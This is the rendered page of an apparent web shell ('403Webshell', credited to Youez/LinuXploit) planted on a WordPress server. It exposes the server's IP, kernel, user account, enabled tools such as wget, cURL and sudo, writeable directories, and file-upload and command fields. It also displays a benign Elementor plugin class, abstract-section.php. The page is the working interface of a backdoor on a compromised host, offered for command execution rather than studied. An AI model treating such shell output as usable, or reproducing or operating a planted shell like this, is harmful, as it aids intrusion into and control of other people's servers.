403Webshell
Server IP : 3.93.235.159  /  Your IP : 216.73.216.140
Web Server : Apache
System : Linux ip-172-26-0-169 5.10.0-46-cloud-amd64 #1 SMP Debian 5.10.262-1 (2026-07-31) x86_64
User : bitnami ( 1000)
PHP Version : 8.2.9
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /bitnami/wordpress/wp-content/plugins/hello-plus/classes/widgets/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /bitnami/wordpress/wp-content/plugins/hello-plus/classes/widgets/abstract-section.php
<?php
namespace HelloPlus\Classes\Widgets;

use Elementor\Widget_Base;

abstract class Abstract_Section implements Section_Interface {

	protected Widget_Base $widget;

	abstract protected function get_section_config(): array;

	abstract protected function add_section_controls(): void;

	protected function start_section( string $section_id, array $args ): void {
		$this->widget->start_controls_section( $section_id, $args );
	}

	protected function get_widget(): ?Widget_Base {
		return $this->widget;
	}

	protected function end_section(): void {
		$this->widget->end_controls_section();
	}

	protected function add_control( string $control_id, array $args ): void {
		$this->widget->add_control( $control_id, $args );
	}

	public function add_to_widget( Widget_Base $widget ): void {
		$this->widget = $widget;
		$config = $this->get_section_config();
		$this->start_section( $config['id'], $config['args'] );
		$this->add_section_controls();
		$this->end_section();
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit